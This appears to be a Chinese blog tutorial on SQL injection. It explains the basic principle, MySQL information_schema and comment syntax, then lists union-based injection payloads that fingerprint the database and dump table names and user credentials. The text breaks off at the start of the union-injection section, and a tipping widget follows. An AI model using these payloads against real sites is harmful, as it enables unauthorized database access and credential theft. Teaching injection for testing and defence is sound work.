SQL注入各种注入原理|绕过技巧|带实例详解|

本文详细介绍了SQL注入的概念、攻击方式及其原理,包括联合查询注入、布尔盲注、堆叠查询注入、二次注入和宽字节注入等。针对每种注入方式,文章提供了具体的实例和攻击步骤,揭示了SQL注入的危害。此外,还讨论了如何通过大小写、双写、内联注释等技巧绕过过滤,并提出了预编译语句和过滤危险字符作为防御手段。
摘要由CSDN通过智能技术生成

一.SQL注入

请添加图片描述

请添加图片描述

1.介绍sql注入

SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

2.SQL注入的原理

SQL注入需要满足两个条件:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

传入的ID参数为1’时,数据库执行代码如下:

select * from users where id =1'

这条语句不符合数据库的规范,所以会报错。

传入的ID参数为and 1=1 时,数据库执行代码如下:

select * from users where id =1 and 1=1 

因为1=1的条件为真,并且where语句中id=1 也为真。所以放回的结果与id=1相同

传入的ID参数为and 1=2 时,数据库执行代码如下:

select * from users where id =1 and 1=2

因为1=2的条件为假,所以放回的结果与id=1不相同

所以,用上述所用的方法进行简单sql漏洞存在测试。

3.与mysql注入相关的知识点

在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们只需要记住三个表名即可:schemata、tables、columns

数据库名:table_schema 表名 : table_name 字段名:column_name

mysql 查询语句简单用法

在不知道任何条件的情况下,查询语句如下:

select 要查询的字段名 from 库名.表名
例如:
select username  from  sql.user 

在知道一条已知条件下,查询语句如下:

select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'

在知道两条已知条件下,查询语句如下:

select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值' 
and 已知条件2的字段名='已知条件2的值' 

limit的用法:

limit的使用格式为limit m,n, 其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0,1 表示从第一天记录开始,取一条记录。

注释符:

在MySQL中,常见注释符的表示方式为:
# 或--空格或/**/

内联注释

内联注释的形式 :
/*!code*/

内联注释可以用于整个sql语句中,用来执行我们的sql语句,下面举一个例子

index.php?id=-15 /*!UNION*/ 1,2,3

开始搜集数据库中的数据,常见的信息搜集有:


system_user()     系统用户名
user()            MYSQL用户名 
current_user()    当前用户名
session_user()    连接数据库的用户名
database()        当前数据库名
schema()          当前数据库名
version()         当前数据库版本信息
@@version
load_file()       MYSQL读取本地文件
into outfile 或者 into dumpfile  导出函数
@@datadir         Location of DB files
@@hostname        服务器主机名
@@basedir         MYSQL 安装路径
@@version_compile_os    操作系统

简单的测试一下常见的信息

# 查询数据库名
?id=0' union select 1, database(), 3%23

# 查询数据库版本
?id=0' union select 1, version(), 3%23

# 查询数据库用户
?id=0' union select 1, user(), 3%23

#数据库路径
?id=0' union select 1, @@datadir, 3%23

# 操作系统版本
?id=0' union select 1, @@version_compile_os, 3%23

# 查询所有的数据库名
# SELECT GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA
id=0' union select 1, 2, group_concat(schema_name) from information_schema.schemata%23

# 查询某个数据库的数据表名
# SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ # hex编码

# 查询某个数据库的某个表的字段名
# SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users'
?id=0' union SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users' --+

# 查询数据表的数据
?id=0' union select 1, 2, group_concat(id, username, password) from security.users --+

#有时候只会回显一个数据
需要将
?id=1'  
改成  
?id=0' 或者 -1

4.Union(联合)注入攻击详解

联合查询注入是回显注入的一种,也可以说联合注入的前提是,页面上要有回显位, 在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。

(1)整型union注入测试是否存在失去了注

  • 6
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1dm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值